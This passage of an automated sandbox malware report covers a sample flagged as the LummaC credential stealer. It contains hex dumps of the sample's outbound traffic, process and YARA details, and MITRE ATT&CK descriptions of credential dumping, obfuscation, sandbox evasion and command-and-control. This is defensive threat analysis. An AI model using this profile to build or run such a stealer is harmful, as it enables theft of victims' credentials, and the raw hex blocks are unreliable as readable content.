7d fc da ba 67 cb 50 a2 fa ee e3 ae 02 a3 95 11 0b ff ed 63 5f e4 23 00 13 36 3f e3 26 60 48 60 c6 ee fe 0e 84 81 1a d4 ac 38 ab 61 Data Ascii: SFgt?`}Zd OZ7;;4{7:-l%9\|:joW'wO4P;;W!wfb@w\6K0T}:o_+=vTXfIEZvdJ$;B33gK;h?2~w?4GO/}gPc_#6?&`H`8a
2024-12-18 14:18:07 UTC	15331	OUT	Data Raw: c5 61 e6 e6 10 b9 7b 27 b8 d1 7c 04 37 79 25 d6 50 7a a3 80 6e 16 f2 d2 9b bf ef 59 48 d7 d7 86 b5 21 cb 87 3c a3 9f 1f 10 1a 90 b1 5a e3 f3 cf 3f 7f 8d 39 91 25 33 94 12 97 2c 90 2c 3d 92 44 fd 91 72 53 a7 12 b7 7a ea 1b cf b0 fc 68 5d 78 88 2e ba 4d 2c 60 1f 71 17 9c ff f5 f3 dd 1c 7e 14 ea fb 54 e0 e5 5f c2 61 f7 0a cd 77 89 ed 10 24 2e 96 f9 8c df d4 8f f0 d2 2a cc a4 b7 15 ae 3c a9 0b 74 4f 8b 8c 88 d8 3c 78 19 79 bb ee 59 41 f8 37 ea 4c fa 1c 4b 1d 75 6a 5d 9c 61 b7 a7 05 7d 75 3f 3e 8d 36 4f 6c fe 62 28 ba 32 2c 43 17 fa 98 4d 99 21 b8 f1 82 4b 0a 1a 90 63 5b eb 74 a5 cd 76 69 ff c6 bd ba f9 d0 c4 e0 99 9b 15 1b d7 7c da 4f 1f 29 b1 df 1e 2f 9a ff f1 8c e5 2f 51 5c ec 08 f0 93 3e 4b 3f 35 06 9e 39 27 cf c5 1a ac 59 3e b5 59 ff 3b 92 90 a9 9f 60 9d Data Ascii: a{'\|7y%PznYH!<Z?9%3,,=DrSzh]x.M,`q~T_aw$.*<tO<xyYA7LKuj]a}u?>6Olb(2,CM!Kc[tvi\|O)//Q\>K?59'Y>Y;`
2024-12-18 14:18:07 UTC	15331	OUT	Data Raw: 6f 21 03 49 f6 dd d5 3f c9 6f a9 01 5b bf 6a 5e 73 14 48 a5 b0 9a 7c f0 86 76 2a 47 7f 72 14 7c d2 33 ea 8c d3 67 e7 6a ab 05 fa 45 46 7f fe cd 46 62 25 96 0e 0c 5a 7d ce 88 8e e5 6e 75 e6 5f ff 8f a1 56 9f e5 f0 bb 26 af d4 0e 65 01 e2 47 af 98 1a a0 8e 9b 1c d0 02 b1 bf 04 f1 5f e6 c3 26 9e e3 7c 3e 57 aa b5 1e 6e 79 d5 70 93 24 c6 15 e7 3f a0 40 e4 b5 f6 9a 1a 4f 1e 02 f9 5e a1 b4 27 6c 58 ec f9 88 cc 5f 79 86 ed 00 8c 7c eb da d1 c1 48 90 5a fb e6 54 d2 f5 58 05 f5 04 40 6d 35 8a fe 42 ea 24 a8 87 55 7b cd 25 36 86 fe ed 91 bc c9 b3 a0 35 b4 7e 8e 4e 32 fa 08 27 93 d2 59 86 37 82 eb 17 c3 39 79 19 7a bc 19 31 11 4d 6d cb 89 8b 47 92 e6 c2 bc 7f ae 37 ea 92 54 b6 72 7c 16 3c 92 f2 7e d8 0c 89 6d 5d ca ee b9 58 a8 09 56 61 42 c2 67 37 38 ff 6e 6c 2f bb Data Ascii: o!I?o[j^sH\|v*Gr\|3gjEFFb%Z}nu_V&eG_&\|>Wnyp$?@O^'lX_y\|HZTX@m5B$U{%65~N2'Y79yz1MmG7Tr\|<~m]XVaBg78nl/
2024-12-18 14:18:07 UTC	15331	OUT	Data Raw: 05 d1 54 00 b1 ae 15 71 bd c1 5a 29 23 5e 60 17 ea de ab ba c3 42 72 91 c7 f4 18 a8 36 ae c3 87 37 1f 49 89 8e 44 0f 8b 09 bd 2f ea 38 ce db 79 9e cb 78 f5 58 c6 9a 5c d3 a8 b8 c3 72 ec ab ef c6 01 d4 f5 77 bc 0e a1 7a 8b 16 2d f8 35 85 c9 df a7 50 23 69 dc 05 11 a2 66 46 50 bf 01 72 74 5b 5d ea cd ab c0 c8 0c ca 78 a0 81 79 44 dd b8 ec 7c 6b 97 10 15 57 ca 3b 1b f2 bf 85 e3 46 ab 38 e0 6a 0b 3b 80 44 a7 84 cb 1a 15 68 17 01 f5 85 02 74 99 37 e3 34 d9 04 14 48 fe fd c1 c7 f5 18 19 dc ea 4e ad e1 6a e7 53 68 70 50 43 00 c2 93 0d eb aa 3b 64 a0 8c 52 20 29 1e 8b e1 39 ba d5 12 9c fa 42 67 f6 e7 f5 46 da 0b db 03 55 9d b1 5c c7 f9 20 f5 10 9c 9c b9 19 2e a3 5e 2a 48 2d 79 d2 5d 2e 8a a9 80 f8 d6 8a cb 25 c9 87 11 9b c7 56 dc 1c 22 98 42 6d 30 30 93 8a 4f f7 Data Ascii: TqZ)#^`Br67ID/8yxX\rwz-5P#ifFPrt[]xyD\|kW;F8j;Dht74HNjShpPC;dR )9BgFU\ .^*H-y].%V"Bm00O
2024-12-18 14:18:07 UTC	15331	OUT	Data Raw: dd fb 04 69 7c cf b0 78 32 7f 7b 3b 73 7a 9a 14 47 4d 04 3b 0e a9 4f e9 7d 52 93 15 b8 93 37 4b 6a a4 1a 89 13 d8 b2 a0 27 bd c8 98 17 7a ba 1f f9 06 bb 82 84 de 80 58 a2 bd 07 0a 85 92 1c d5 fc ed d0 d6 b4 0a 57 9c ef ae c6 a6 9c 79 88 10 2f 90 5a 42 31 46 ef c5 11 ae ff 51 8b 8d 16 18 9f 7f 38 6b 5e d3 65 a6 b4 5e 3e 78 fe 77 da e2 9a 65 29 34 5f 00 b7 1d 8e 5c ce f0 41 57 ec b1 08 5a be 72 c5 06 0f 5e 96 fd 7b b0 de 0d f9 6a 76 20 24 09 24 f1 a3 e5 ec 7d 15 5f c6 ec c3 75 2d 88 ad f1 a3 fc 89 10 ef ff 70 9d 46 53 45 df 56 ad 19 3b 29 ad d1 e6 c0 dc a4 ab f5 f0 0d 9f cd 96 f8 8b b7 c8 7d 26 8d 16 79 84 d4 00 8e e5 33 35 f5 a6 ec b8 d8 d8 f0 1c 23 6a 6c 50 86 04 fe 57 77 91 f6 6a 31 a1 ad 75 43 af 85 8c 13 b8 34 aa 36 f7 0b 4c 5f c6 3c 57 14 04 89 0f a9 Data Ascii: i\|x2{;szGM;O}R7Kj'zXWy/ZB1FQ8k^e^>xwe)4_\AWZr^{jv $$}_u-pFSEV;)}&y35#jlPWwj1uC46L_<W
2024-12-18 14:18:07 UTC	15331	OUT	Data Raw: 98 3a 83 23 5a d0 93 05 5e c9 f3 83 e6 1e c6 bb dd c7 46 29 e2 9e 77 b3 84 75 71 06 d9 3e d8 ed 1f 85 21 f2 ec fa 61 b7 2b 82 a3 59 55 90 55 00 0a 02 af d1 a9 ad e9 50 fe 35 f2 a6 29 54 c1 7f 03 19 ee 1f d4 c1 ac 05 8e aa 8d 34 28 e2 b6 73 84 1b 4c 33 65 e4 5f 65 55 f0 bf 2f 5b e3 11 c5 0b 93 ca f8 28 d4 76 ac 9a 76 93 9a 4b e4 e4 ca 8f 77 54 75 39 ca 22 de 70 e5 b4 f1 7c 54 67 fb de 9d a6 97 5f 4b 75 6e bf e3 3c 13 1b 6e 3e 22 d2 f2 06 1c ec 8d 56 98 fb 69 58 52 85 39 80 12 49 c4 e1 88 4c a5 22 6f cc 73 29 fb 2f 86 78 ec 59 b2 6e ef 9a 97 07 7f 42 2f 93 d6 83 4a a2 43 ac e6 33 b0 90 7c 39 88 0d 7f 3d ee 8f a0 9d 39 fc 6a c7 72 c2 6e f7 f7 a9 96 24 13 34 52 70 66 8b 6c cb 54 49 f4 a8 94 ec 77 05 0c ff 59 55 48 d5 82 d8 a5 35 5d fa ba a6 b3 44 2e 3a 4e 88 Data Ascii: :#Z^F)wuq>!a+YUUP5)T4(sL3e_eU/[(vvKwTu9"p\|Tg_Kun<n>"ViXR9IL"os)/xYnB/JC3\|9=9jrn$4RpflTIwYUH5]D.:N
2024-12-18 14:18:07 UTC	15331	OUT	Data Raw: 9f 65 0e 78 03 92 27 cb 11 14 b8 a2 8c d1 40 96 2f 61 63 5b 70 24 8a ea c8 3d a3 4a ef f8 d1 69 37 0b 32 3f 30 b4 1b ea 2e 5b 93 87 9f 91 f4 65 25 4a 09 fa 2d 28 61 b0 29 17 a3 8f 30 bb de ae c9 4f b7 a3 20 aa 9d e4 a4 01 09 ee 23 8c 41 5f 5f 34 6a a4 02 20 0a c9 6a 6c 9c 85 1f 03 14 49 df 74 61 0e 0b bd 80 a2 6e 0b 81 19 38 05 72 8a 04 d8 b5 27 13 1d 62 71 ea 2f 34 a4 4c d0 df 67 b3 41 1b d2 ac 22 3f d9 32 09 7d e6 b3 e4 bb e5 44 c1 69 43 b4 73 27 d3 04 c5 2b da 33 98 5f db 79 44 2f 09 6a 4c a0 01 78 6a d5 73 ab c2 6e 6a 13 82 a5 8e 59 a3 cd 41 8f df 05 4b 71 b6 61 db d7 f2 11 94 24 54 af b0 87 51 17 5b fe d6 25 10 ce 7f d3 f3 82 f6 f0 9d 65 6e f7 4d fe 10 ca 81 3e 68 ca 12 f7 73 62 15 b9 76 40 fc 7e b8 bf 04 87 59 c9 6f df 66 03 b0 d0 cf 67 24 b5 8c 08 Data Ascii: ex'@/ac[p$=Ji72?0.[e%J-(a)0O #A__4j jlItan8r'bq/4LgA"?2}DiCs'+3_yD/jLxjsnjYAKqa$TQ[%enM>hsbv@~Yofg$
2024-12-18 14:18:07 UTC	15331	OUT	Data Raw: e7 8b b0 9c ca ad cf 64 de 8b ca c1 f2 da e4 8e 2e 34 7a eb ab 0a b5 10 cc 80 a3 60 7a 2c 1c 08 f0 22 84 c6 d3 6e d1 75 33 45 75 d7 a2 82 71 4b 60 02 8b 5a 4c 34 41 9e 1d b6 2c 88 0f 88 8b a9 65 7b 0a dd 46 6b 1b 47 4b e7 9d 69 d1 ee b7 e4 52 80 44 9c 2c ff f0 e8 87 9e 2c 89 10 6d 9b 8a d0 d9 bb 44 6d 31 57 8e f3 29 5f b1 13 e3 9c 72 21 ce 9a d3 0f ff 9f 0c 44 f8 23 a5 a5 4a 08 18 3b fa ab 72 fe b8 49 77 50 04 c9 da d2 d5 8a 10 35 ff a3 02 f2 34 1a e4 bc 21 e9 5f 79 11 13 fd 49 65 2d e0 41 69 c4 1d b2 15 d2 76 f0 b6 7e 5b eb 11 14 a1 ba 5d e6 96 cb 9b 3c 10 56 f4 80 96 8f 42 e9 dd 30 6c 60 4d 60 4f 81 50 7f 21 a0 bc 0c 0a c2 31 ff 7b 05 0e a9 0d f1 eb 58 3f 04 8c dc 6e 66 a8 0e f4 83 32 6e e1 3a 93 9d 47 0e 61 48 fd 0c 63 bb b7 74 08 56 43 e0 ba 34 db 46 Data Ascii: d.4z`z,"nu3EuqK`ZL4A,e{FkGKiRD,,mDm1W)_r!D#J;rIwP54!_yIe-Aiv~[]<VB0l`M`OP!1{X?nf2n:GaHctVC4F
2024-12-18 14:18:07 UTC	15331	OUT	Data Raw: 27 98 7f 07 63 9f 31 42 fd 6f b9 45 bf 32 44 de 8a 7a f7 73 26 10 bb 15 3f 31 10 99 a2 16 a4 71 0e 63 2c 6d b8 ba d9 aa cd 8e 30 2f 06 22 a4 72 e4 62 66 bd 9a 8d 37 a1 3f ea 4e f0 9c 49 73 40 2d 3a 5e 30 fb e8 5a 3d 03 13 ad aa 5c 30 47 2f 79 25 fa ac 76 f9 d8 52 a0 df 21 33 0b 05 90 38 85 a4 9f c4 18 f2 18 d7 b5 be 5b 97 f5 29 17 4f 0d 18 22 fc 2f 17 d0 8b f6 7f fe d1 2d 00 5e b8 d0 04 39 17 45 e6 7e ee 48 a5 46 53 05 c1 71 18 f7 ef c4 74 4a 6b 7d ed 7d 31 02 af a0 fb 73 f7 27 6e 5f 35 36 e2 9e a0 b0 2c a7 38 0d f7 9a e9 88 0d 7d 79 5a c7 5d 1f 2b 92 dc eb 67 26 44 08 4c bf 10 8f 06 f8 6e ff f9 be 07 e7 8b a1 d0 7f 37 cf 8f 24 4c a3 62 04 81 fe 11 3b 8c 21 f3 8e 75 15 00 a5 0d 0a 4c 7c e2 5d 3a 3f 29 9d 54 3b c1 d1 fb 77 0b 22 3d 81 80 47 30 a3 64 f1 a1 Data Ascii: 'c1BoE2Dzs&?1qc,m0/"rbf7?NIs@-:^0Z=\0G/y%vR!38[)O"/-^9E~HFSqtJk}}1s'n_56,8}yZ]+g&DLn7$Lb;!uL\|]:?)T;w"=G0d
2024-12-18 14:18:14 UTC	1049	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rvs2eepckrirl1gq7ufq9qkou1; expires=Sun, 13-Apr-2025 08:04:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vprXaRM4FBI%2BkCIt9nHgMBr00YM%2BHwnpKLLgtUrkMGVPpgaRL6CnP%2BSaGoVvwzH7lefX7vjRIIeNF%2FHDj6QdOuOHgGHhYki%2BexURZzqzODEmbEFvqHSv8YitYEeTRVY9Z1Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3fc7c8fc5a4315-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24279&min_rtt=1664&rtt_var=14132&sent=305&recv=622&lost=0&retrans=0&sent_bytes=2836&recv_bytes=597097&delivery_rate=1754807&cwnd=218&unsent_bytes=0&cid=2910d97bbd5dfd0b&ts=6564&x=0"

Target ID:	1
Start time:	09:17:34
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\ji2xlo1f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ji2xlo1f.exe"
Imagebase:	0x6a0000
File size:	6'289'408 bytes
MD5 hash:	9F8CA917737B3233ABB943EDC065659C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2446810949.000000000169A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ji2xlo1f.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
ji2xlo1f.exe